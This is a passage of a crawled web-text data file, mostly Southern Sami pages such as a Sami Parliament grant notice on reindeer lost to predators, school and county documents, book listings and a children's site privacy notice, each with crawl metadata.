guktie gaavnedimmieh almetji gaskem leah viehkiehtamme jarkelidh guktie almetjh leah ussjedamme jïh ovmessie seabradahkh leah organiseereme orreme","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/kompetansemaal-og-vurdering\/kv151?lang=sma","date":"2023-12-11T19:27:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00781.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":336,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Berit Marie P. E. Eira\nÁrvu\/Sametinget\nSaemiedigkieraerie lea 67 000 kråvnah dåårjeme Johan Samuelsen Buljose Guovdageaidnun tjïeltesne råajvarimmide mah edtjieh bovtsh vihtiestidh mah juvrijste båvvalgamme.\nEiran mietie gåatomejielemh stoerre dåeriesmoerh utnieh teehpeminie gåatomekreekijste juvride daan biejjien. Vihtiestimmie teehpemistie lea akte dejstie stööremes haestiemijstie juvrereeremisnie.\n– Bovtse bårrode vaadtsa jïh lea ålkone abpe jaepien. Gosse barhvem gaavna dellie daamtaj dan guhkiem vaaseme guktie geerve sjædta vihtiestidh raaktan juvre dïhte mij lea bovtsem bovvelamme. Råajvarimmie maam daelie dåårjeme sæjhta viehkiehtidh guktie maahta jienebh bovtsh juvreteehpeminie vihtiestidh, jïh lea akte dej prioriteeti mietie Saemiedigkien dåarjoen nuelesne båatsose, mestie daate dåarjoe vadtasåvva, Eira jeahta.\nUlmie prosjektine lea dïenestem lissiehtidh viehkine dejtie biejjieladtje åaside giehpiedih jïh jienebh bovtsh vihtiestidh mah juvrijste båvvalgamme. Lissine sæjhta ulmine årrodh buerebelaakan aerpievuekien daajroem båetije boelvese buektedh. Edtja dåarjoem nuhtjedh dalhketjh åestedh.\nAkte ulmie jienebh bovtsh vihtiestidh mah juvrijste båvvalgieh. Juktie bovtsh aelhkebe gaavnedh mejtie juvrh leah bovvelamme, reaktoe dalhketjh stoerre viehkine sjædta. Mobijle hæhtjojne maahta vielie stieresne årrodh krievvesne. Lissine termiske tjïjhkerde, GPS-saadtijh jïh drööne sijhtieh viehkine årrodh bovtsh mah leah juvrijste båvvalgamme, daamtajåbpoe jïh verkebe gaavnedh.\nBarhvh gaavnedh åvtelen jeatjah juvrh båetieh dejtie berrieh lea vihkele jis Staaten Eatnemevaaksjome sæjhta vihtiestidh dah leah juvrijste båvvalgamme. Lea maaksoem bovtsi åvteste mah leah vaarjelamme juvrijste båvvalgamme, åajvahkommes ryöknedamme dan bovtselåhkoen mietie maam buektehte vihtiestidh lea vaarjelamme juvrijste båvvalgamme.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/saernieh\/daarjoe-skaarvemidie-mah-viehkiehtieh-bovtsh-vihtiestidh-mah-juvrijste-bavvalgamme.27296.aspx","date":"2023-12-02T02:49:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100309.57\/warc\/CC-MAIN-20231202010506-20231202040506-00809.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":215,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1982\nGiele\nISBN\n8200063577\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n40\nAamhtesh\nNïejte guhte gullie-tjååtselinie sjïdti, saemien åålmeh-vaajese. Daate gærja enaresaemiengïelesne.\nKollekoalsi jallh åarjelsaemien Gullie-tjååtsele båeries saemien åålmeh-vaajese. Daate soptsese buerien jïh vestiesvoeten bïjre, tjoevken, sjuevnjeden, rïektes jïh faelskies almetji bïjre. Maanagærjan stoerre guvvieh. Vaajesen deahpadimmie guektien nyjsenæjjese veadtaldahkesne, Njaevies-eatnan jïh Hatsves-eatnan gïeh buerien jïh vestiesvoeten maadtoe. Soptsesen jïjtjehke dalvese lea Njaevies-ietnien nïejte, numhtie dam vaajese jeenjemes sov bïjre. Daate gærja enaresaemiengïelesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_kollekoalsi","date":"2023-12-03T23:27:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100518.73\/warc\/CC-MAIN-20231203225036-20231204015036-00289.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":76,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mojhtesetaavla skåerreste maam Majesteete Gånka Olav V vuelietjaaleme goh bielie Nöörjen dokumenteaerpeste.Majesteete Gånka Olav faevriem vuelietjeeli skåerresne 1. saemiedigkien rïhpestimmien sjïekenisnie golken 9.b. 1989. Mojhtesetaavla saemien åtnoem ïebnijste vuesehte gusnie nænnoes ïebnh jïh hammoedimmie leah jarngesne. Dïhte edtja guvvine jïh mojhtesinie årrodh saemieh leah aalkoe-åålmege jïjtsh aarvoejgujmie jïh aerpievuekiejgujmie. Vytnesjæjja Martha Jåma mænngan nommevæhtam ditnine klïsseme. Jon Ole Andersen lea moeremieriem dorjeme. Skåerrie sæjhta histovrijes heannadimmiem vuesiehtidh jïh viehkine årrodh guktie saemiej politihkeles staatuse Nöörjesne vielie våajnoes sjædta jïh jååhkesjimmiem åådtje. Majesteete Gånka Olav V dam vuelietjeeli goh mojhtese 1.saemiedigkien histovrijes rïhpestimmien bïjre. Faevrie mojhtesh vuesehte saemiej bïjre goh juhtijealmetjh jïh sislaanten almetjh. Skåerrien akte sjïere estetihkeles hammoe, lissine åehpiedehteme oktegh aktem stijlen aarvoem åtna. Mijjieh utnebe skåerrie Gånka Olav V:n vuelietjaaleginie lea vihkeles bielie Saemiedigkien histovrijistie jïh joekoen stoerre symbovleaarvoem åtna. Mojhtesetaavla skåerreste Majesteete Gånka Olav V:n vuelietjaaleginie golken 9.biejjeste 1989 bieline sjïdti Nöörjen dokumeenteaerpeste 2020.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/mojhtesetaavla-skaerreste-maam-majesteete-ganka-olav-v-vuelietjaaleme\/","date":"2023-12-02T02:32:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100309.57\/warc\/CC-MAIN-20231202010506-20231202040506-00271.warc.gz","language":"sma","language_score":0.9999815226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999815225601196}","num_words":143,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvleståvroen syjhtehts gïehtelimmide\nSaemieskuvleståvroen moenehtse tjåanghkosne goeven 1. b. 2021 nænnoesti bijjie syjhtehts byjjesfaamoen gïehtelimmide.\n\"Mijjen aarhskuvlh, aarhskuvleklaassh, skuvlh jïh eejehtshïejmh leah sijjen maadtoem saemien kultuvreaerpeste, saemien historijiste jïh mijjen saemien gïelijste. Lohkehtimmie edtja skreejrine årrodh jïh lïeremasse eadtjaldovvedh. Maanah jïh learohkh mijjen skuvline edtjieh jearsoesvoetem jïh madtjelesvoetem åadtjodh sijjen kultuvreaerpeste jïh gïeleste. Mijjieh edtjebe saemien identiteetem stinkestehtedh gosse saemien gïelide, kultuvrem jïh aerpievuekien maahtojde evtiedibie. Mijjieh learoesoejkesjinie jïh jeatjah tjaatsegigujmie barkebe saemien maadtojste jïh saemien aarvojste.\"","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/saemieskuvlestavroen-syjhtehts\/","date":"2023-12-05T05:05:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100545.7\/warc\/CC-MAIN-20231205041842-20231205071842-00253.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":75,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.227,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1. januar 2018 ble det skapt historie i Trøndelag. Etter 213 år med to trønderske fylker, ble de sammenslått til Trøndelag fylke.\nVisjon - Vi skaper historie\nVisjonen \"Vi skaper historie\" ble vedtatt av fylkestinget 14. desember 2017. I arbeidet med å finne en visjon ble både ansatte, innbyggere og fagfolk spurt. Det kom inn over 16 000 ord som forslag.\nVisjonen skal ha betydning både for ansatte i deres arbeidshverdag, og for alle som bor i Trøndelag.\nVåre verdier\nVerdiene sier noe om hva fylkeskommunen ønsker å bli identifisert med. Alle medarbeidere skal reflektere over hva verdiene betyr for egen adferd.\nTrøndelag fylkeskommunes verdier:\n- Åpen og nysgjerrig i holdning\n- Modig og ansvarlig i handling\nVerdiene kan blant annet bety at vi skal:\n- lytte til forslag og nye idéer\n- være nysgjerrige og søke kunnskap\n- ha mot og evne til å omsette nye idéer til handling\n- lære av egne og andres erfaringer\n- utfordre vedtatte sannheter\nHistorie\nSøndre og Nordre Trondhjems amt ble navnene, da danskekongen delte Trøndelag i to for 213 år siden. I 1919 fikk amtene navn som Nord- og Sør-Trøndelag fylke, som igjen ble til fylkeskommune på 1960-tallet.\nI moderne tid er det flere ganger tatt til orde for å samle fylkene igjen. Diskusjonen skjøt for alvor fart i 2013. Fylkesrådsleder Anne Marit Mevassvik (Ap) i Nord-Trøndelag tok til orde for sammenslåing. Hun var bekymret for fylkeskommunens framtid etter regjeringsskiftet, og tok til orde for i stedet å bygge sterkere regioner. Initiativet ble godt imot i fylkestinget i Sør-Trøndelag. I oktober blir fylkestingene enige om et mandat til å utrede sammenslåing.\n28. april 2016 vedtok de to fylkestingene å søke om sammenslåing. 8. juni vedtok sammenslåingen, som ble sluttbehandlet av Kongen i statsråd 30.september.\n18. oktober 2017 ble det første fylkestinget for Trøndelag konstituert.\nTsïengelen 1.b. 2018 histovrije sjugniesovvi Trööndelagesne. Mænngan 213 jaepieh goh göökte tröönderen fylhkh dah Trööndelagen fylhkese aktanieh.\nVisjovne - Mijjieh histovrijem sjugniedibie\nFylhkendigkie visjovnem «Vi skaper historie» (Mijjieh histovrijem sjugniedibie) nænnoesti goeven 14. b. 2017. Gosse lij barkeminie visjovnem gaavnedh dovne barkijh, årrojh jïh faagealmetjh gihtjesovvin. Vielie goh 16 000 baakoeh sïjse böötin goh raeriestimmie.\nVisjovne edtja mïelem vedtedh dovne barkijidie sijjen barkoebiejjien jïh gaajhkesidie mah Trööndelagesne årroeh.\nMijjen aarvoeh\nAarvoeh maam akt jiehtieh dan bïjre mejnie fylhkentjïelte sæjhta damtijamme sjïdtedh. Gaajhkh barkijh edtjieh måjhtelidh guktie aarvoeh baajnehtieh guktie jïjtjh dåemiedieh.\nTrööndelagen fylhkentjïelten aarvoeh:\n- Ræhpas jïh tjetskehke vuajnosne\n- Staalehke jïh dïedtine dahkosne\nAarvoeh maehtieh, jeatjah aati gaskem, jiehtedh mijjieh edtjebe:\n- raeriestimmieh jïh orre åssjalommesh krööhkedh\n- tjetskehke årrodh jïh daajroem syökedh\n- heartoeh jïh maahtoem utnedh orre åssjalommesh dahkose sertedh\n- jïjtse jïh mubpiej dååjrehtimmijste lïeredh\n- nænnoestamme saetniesvoeth haestedh\nHistovrije\nSøndre og Nordre Trondhjems amt nommide sjïdti gosse daanske gånka Trööndelagem guektelen juekieji 213 jaepiej juassah. 1919 amth nommide åadtjoejin goh Noerhte- jïh Åarjel-Trööndelage fylhke, mij vihth fylhkentjïeltine sjïdti 1960-låhkoen.\nDaajbaaletje tïjjen dle gellien aejkien vihth raeriestimmieh iktedimmien bïjre fylhkijste båateme. Digkiedimmie eelki nïllebielien vuelkedh 2013. Fylhkenraerien åvtehke Anne Marit Mevassvik (Bk) Noerhte-Trööndelagesne iktedimmiem fylhkijste raeriesti. Dïhte fylhkentjïelten båetije aejkeste tjoeperdi reerenassemålsomen mænngan, jïh raeriesti nænnoesåbpoe regijovnh tseegkedh. Åarjel-Trööndelagen fylhkendigkie daam skraejriem hijvenlaakan dåastoeji. Golken fylhkendigkieh mandaaten bïjre seamadin juktie iktedimmiem salkehtidh.\nVoerhtjen 28.b. 2016 doh göökte fylhkendigkieh nænnoestin iktedimmien bïjre syökedh. Ruffien 8.b. iktedimmiem nænnoestin maam Gånka staateraeresne minngemes gïetedi skïereden 30.b.\nGolken 18.b. Trööndelagen voestes fylhkendigkie gaavnesji.\nTsïengelen 1.b. raejeste Trööndelage vihth aktanamme.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.trondelagfylke.no\/om-oss\/fylkeskommunen\/Visjon-vi-skaper-historie\/","date":"2023-12-11T00:34:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679102697.89\/warc\/CC-MAIN-20231210221943-20231211011943-00899.warc.gz","language":"sma","language_score":0.9632169604,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9632169604301453, \"nob_Latn_score\": 0.029216742143034935}","num_words":520,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2019\nGiele\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDigitaale learoevierhtien ulmie edtja learoehkidie dåarjodh tjaaleldh jïh njaalmeldh barkosne skuvlesne. Åarjelsaemien leah gellie minngiegietjieh jïh raajesestruktuvrh mah daaroengïelijste, (nöörjen jïh svïenskegïelijste) joekehtehtieh.\nFaage: Åarjelsaemien 1 jïh Åarjelsaemien 2\nLearoevierhtieh dejtie baakoetjïertide jïh fraaside buerkeste aerebe raajesh aelkebe joekehtehtedh. Geervebe geervebe sjædta subjeekteste jïh verbaaleste gossege raajeselïhtside direkte objeekte, indirekte objeekte, adverbijaale jïh predikatijve.\nLearoevierhtien leah interaktijve lïerehtimmieh, jïh joekehts lohkehtimmiem buakta.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_aarjelsaemien-raajese-learoe","date":"2023-12-05T07:58:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100550.40\/warc\/CC-MAIN-20231205073336-20231205103336-00529.warc.gz","language":"sma","language_score":0.9999834299,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999834299087524}","num_words":71,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ohtseme dispensasjovnen bïjre kultuvremojhteselaakesteJis vaarjelamme gåetiem eekie jïh sïjhth råajvarimmieh darjodh gåetesne mij lea vielie goh sïejhme gorredimmie, maahtah dispensasjovnen bïjre syökedh kultuvremojhteselaakeste.Sïejhme gorredimmie leah biehkieh gåeteste gorredidh jïh dåvvodh. Maahta vuesiehtimmien gaavhtan årrodh oksh, klaash, listah, gerikth, bijjieskierieh jïh bijjieskieriegïetedimmie, vuebnieh, rööjrh rehpien bijjelen, jïh detaljh goh tsïegle jïh feegreme jïh vielie. Guktie rehpie vååjnoe daelvien mænngan jïh aajne slahtjan rehpiegierkiem målsodh seamma gierkine, lea gorredimmie. Dellie ij daerpies dispensasjovnen bïjre syökedh. Men jis edtjh bielieh rehpeste målsodh tjoerh dispensasjovnen bïjre syökedh. Jis jueriedisnie, gaskesadth Saemiedigkiem.Edtja sïejhme gorredimmiem vaarjeldihkie gåetine darjodh dejnie vuekine mah aalkoelistie jallh daelie leah åtnasovveme, jïh seamma ïebnigujmie. Gorredimmie ij edtjh gåetien kultuvremojhteseaarvoem giehpiedidh.Saemiedigkien lea faamoe dispensasjovnem vedtedh. Juktie maehtedh dispensasjovnem vedtedh vaarjelimmeste, tjuara iktesth göökte krïevenassh illedh: råajvarimmie man bïjre syökoe ij tjoerh stoerre darjomese årrodh kultuvremojhtesisnie, jïh tjuara akte sjïere tsiehkie årrodh.Lohkh vielie dan bïjre kultuvremojhteselaakesne § 15","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/lohkh-vielie-dan-bijre-kultuvremojhteselaakesne-15\/","date":"2023-12-11T06:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00617.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":143,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Væjkeles journaliste hijven gyhtjelassh dorje jïh gihtjie. Datne tjoerh dalhketjh meatan vaeltedh mejtie daarpesjh gosse gihtjehtimmiem darjoeh.\nÅvte-barkoe\nÅvtelen edtjh gihtjehtidh, maahta væjsehke årrodh portrehte-gihtjehtimmiem vuesiehtimmine lohkedh. Fåantoe lea daate lea sjangere mij kreava datne tjaelesth mearan gihtjehteminie. Ih edtjh gidtjh ajve gihtjelgæjjan vaestiedassh paehpierisnie tjaeledh, men aaj gihtjelgæjjan persovnelesvoetem våajnoes darjodh.\nVuesiehtimmieh\nHaarjenh\nGïehtjh gihtjehtimmiem maam Sofie dorje Markus Baileyne Maana-TV:ste ikth vielie. Maam lih sïjhteme altese kråahpe-gïelen bïjre tjaeledh juktie vuesiehtidh magkeres persovnelesvoete dan?\nRaeriestimmie\nMarkus Bailey lea ïedtjije mearan soptseste. Dïhte maahta hijven årrodh dov lohkijidie vuesiehtidh. Dellie maahtah vuesiehtimmien gaavhtan tjaeledh:\n«Markus mojjehte jïh gïetigujmie saevehte, mearan sov barkoem Maana-TV:sne buerkeste. Gyhtjelassesne maam dïhte dan kruana tjiehtjelen bïjre tuhtjie, mejjesne jeahta ....»","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:4c8cca36-8c5b-4ecd-90ef-4a69eb8b1491","date":"2023-12-06T19:56:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100603.33\/warc\/CC-MAIN-20231206194439-20231206224439-00837.warc.gz","language":"sma","language_score":0.9999818802,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999818801879883}","num_words":115,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vitnedimmesne jåa1 vuesiehtieh jïh evtiedieh gosse haarjanieh jïh saevrieh juktie jïjtsh ulmieh jaksedh jïh svihtjemedarjomh evtiedieh, jïh gosse stååkedimmieh jïh spïelh goerehtieh mubpiejgujmie ektine. Learohkh aaj maahtoem vuesiehtieh gosse jïjtsh tjiehpiesvoeth jïh daajroeh nuhtjieh laavenjostedh jïh mubpide væjkele darjoeh darjoeminie jïh ektiespïelesne. Learohkh aaj maahtoem vuesiehtieh gosse voenges aerpievuekieh nuhtjedh eatnamisnie mïnnedh.\nVitnedimmesne ektiespïele mubpiejgujmie, haarjanimmie jïh meatan årrodh ovmessie svihtjemedarjoeminie jïh fealadimmesne eatnamisnie vihkeles væhta maahtosne faagesne. Maam learohkh jïjtsh darjoeh lea akte bielie maahtoste vitnedimmesne. Eadtjohke årrodh vitnedimmesne sæjhta jiehtedh learohke pryövoe faageles haestemh loetedh dan hijven goh maahta bielelen gåajparostedh, jïjtjeraarehkevoetem vuesehte, jïjtse fysiske kapasiteetem haasta jïh mubpiejgujmie laavenjostoe.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh jeereldihkie svihtjemedarjomi tjïrrh mah learohkh oktegh jallh mubpiejgujmie ektine darjoeh, jïh gosse haarjanieh jïjtse barkoem vuarjasjidh vitnedimmesne. Lohkehtæjja edtja dialogesne årrodh learohkigujmie dej evtiedimmien bïjre vitnedimmesne. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoem mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjeli ussjedadtedh. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh sijjen maahtoem nuhtjedh svihtjemedarjoeminie, stååkedimmesne jïh spïelesne mubpiejgujmie ektine, voestesviehkesne, darjoeminie ålkone jïh ålkoejieliedisnie.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/kompetansemaal-og-vurdering\/kv186?lang=sma","date":"2023-12-06T05:26:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00513.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":206,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaksoestjïelkeme www.sanningskommissonensamer.se\nDaesnie bïhkedibie guktie saetniesvoetekommisjovne dejtie kriveneasside daan laaken (2018:1937) mietie fulkie, guktie digitaale byjjes viehkiem jaksebe jïh jis vihties jaskoes-mierien dåeriesmoerh jïh guktie datne maahtah båajhtode mijjese bieljelidh guktie mijjieh maehtebe dejtie staeriedidh.\nMijjieh sïjhtebe gallesh edtjieh maehtedh dam mijjen webbesæjroem nuhtjedh. Edtjede maehtedh dam guarkedh, dejnie buektiehtidh seamma magkerh funksjovnejeerehts jïh seamma magkerh viehkievierhtieh daerpies utnedh.\nReektehtsen båajhtoeh\nNov maa daejrebe mijjen websæjroe ij leah öövre jaksoes. Mijjieh daamtaj pryövebe dam sæjroem bueriedidh. Jis datne vueptesth maam joem båajhtode, bieljelh dle mijjiem jallh mejtie datne åtnah ibie laakide fulkieh, dle hijven mijjem bieljelh guktie åadtjoejibie båajhtode govledh.\nVaaksjome\nByjjesfaamoe digitaale reerenasse (Myndigheten för digital förvaltning) (DIGG) dam vaaksjomedïedtem åtna. Jis guermesth guktie mijjieh gïetedallebe dejtie dov åssjaldahkide dle maahtah Byjjesfaamoe digitaale reerenassem bieljelidh.\nByjjesfaamoe digitaale reerenassen websæjroe https:\/\/www.digg.se\/tdosanmalan\nTeknihkeles bïevnesh websæjroen jaksoesmierien bïjre.\nDaate websæjroe ij leah daan laaken jaksoes-mierie digitaale byjjes servicen mietie sjïehtesjadteme. Daennie sisvegem bæjhkoehtibie mij gukt akt ij leah jaksoes.\nDaesnie bïhkedibie guktie daate hïejmesmærjoe dejtie krïevenasside jaksa laaken (2018:1937) jaksoesmierie digitaale byjjes servicen mietie jallh jaksoe-mierien dåeriesmoerh jïh guktie datne maahtah dle båajhtode mijjese bieljelidh, guktie maehtebe dejtie staeriestidh.\nMijjieh sïjhtebe gallesh edtjieh maehtedh dam mijjen websæjroem nuhtjedh. Edtjede dam guarkedh, dejnie buektiehtidh seamma magkerh funksjovnejeerehts jïh seamma magkerh viehkievierhtieh daerpies utnedh.\nSisvege\nWebsæjroen åejvieulmie Saetniesvoetekommisjovnen barkoen bïjre saemide bïevnedidh.\nDaennie websæjrosne jeenjemes bïevnesh Saetniesvoetekommisjovnen barkoej bïjre jïh guktie berkieh. Websæjrosne bïevnesh darjomes bïjre jïh gaskesadtemebïevnesh gååvnese.\nWebbelohkije jïh plattformh\nWebbesæjroe dejtie sïejhmemes weblohkijide duvtie ( datovride, surplattah jïh mobijlide) jïh lea responsijveles. Nuhtjh dam minngemes versjovnem weblohkijistie, akte daejstie:\nMicrosoft Edge\nSafari\nGoogle Chrome\nFirefox\nWebsæjroe dïrregem WordPress för publicering och innehållshanteringem åtna.\nCopy-right\nLuhpie gaajhkh tekstide jïh sisvegem websæjrosne seamma guktie nuhtjedh, menh ij leah luhpieh guvvide nuhtjedh. Jis ij maam jeatjah tjåadtjoeh dle luhpie tekstide nuhtjedh, ajve jis teksti gaaltijh neebnesovveme. Saetniesvoetekommisjovne saemide bïevnesidie buakteme maa websæjrosne gååvnese.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sanningskommissionensamer.se\/sma\/jaksoestjielkeme\/","date":"2023-12-06T05:07:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00529.warc.gz","language":"sma","language_score":0.9999711514,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999711513519287}","num_words":306,"character_repetition_ratio":0.063,"word_repetition_ratio":0.027,"special_characters_ratio":0.138,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Webbesijjie gellien aejkien bïevnesh dov bïjre spååroeh maam sajtesne provhkoe. Vihkeles dellie daejredh maam webbesijjie spååroe jïh maam dejnie dorje. Mijjieh Polarbibblosne bïevnesh dov persovnen bïjre gïetedibie akten öörnegen mietie mij daatah vaarjele dataskyddsförordningen (GDPR). Ibie gåessie gænnah dov bïevnesh gïese jeatjabasse vedtebe!\nDaesnie maahtah lohkedh mij bïevnesidie Polarbibblo dov bïjre spååreme:\nNommehth\nJis sijjiem nommehth provhkh jïh aamhtesh seedth namhtah utnije ibie naan bïevnesh dov bïjre spåårebe. Ij naan mijjen redaktöörijste jallh jeatjah maanah sajtesne daejrieh gie datne jallh mij dov nomme.\nUtnije\nJis utnijem tseegkh mejladressem spåårebe maam mijjese vadteme. Aaj spåårebe jis nuerebe 13 jaepeste jallh ij. Gaajhkh aamhtesh mah seedth dov mejladressese dibrehtovvieh, dannasinie dïhte dov mejladresse vihkeles. Dïhte dov identiteete Polarbibblosne. Barre åejvieredaktööre gie dov mejladressem maahta vuejnedh jïh mejtie 13 jaepien båeries jallh ij. Dah redaktöörh gïeh aamhtesh gïehtjedieh jïh jeatjah maanah sajtesne barre dov utnijenommem maehtieh vuejnedh maam veeljih gosse dov utnijem tseegkih. Dov mejladressem sliejhtesåvva easkah gosse jïjtje veeljh dam dov kontom orrijidh.\nVuerpie\nGosse utnijinie sïjhth meatan Vuerpesne årrodh aaj dov rïektes nommen mietie gihtjebe, man båeries, dov adressem jïh påastenommerem jïh gusnie årroeh. Dam darjoejibie jis maehtedh seedtedh dam maam vitneme jis vitnh. Barre redaktööre gie Vuerpine gïehtele bïevnesidie vuajna. Dejtie bïevnesidie barre aktem askem spåårebe gossege vitnijidie våarpoehtamme. Dan mænngan dov nommem, man båeries, adressem jïh årromesijjiem mijjen daatabaaseste sliejhtebe. Dov påastenommerem spåårebe guktie maehtedh statistihkem tjöönghkedh, men ij dïhte dov nommese dibrehtåvva jallh gie datne.\nJeatjah gaahtjemh jïh aktiviteeth\nGosse sjïere gaahtjemh jïh aktiviteeth kanne aaj bïevnesh dov bïjre daarpesjibie spååredh. Dellie spååresuvvieh gossege gaahtjeme jallh aktiviteete orrijamme. Dan mænngan sliejhtesuvvieh.\nAamhtesh jallh kontom sliejhtedh\nGåarede dovne aamhtesh jïh dov kontom sliejhtedh. Jïjtje maahtah aamhtesh maam spååreme sijjesne \"Mov bielieh\/Mina sidor\", rubrihkesne \"Spååreme aamhtesh\/Sparade bidrag\". Jis sïjhth aamhtesh maam seedteme jallh bæjhkoehtamme dellie tjoerh redaksjovnine 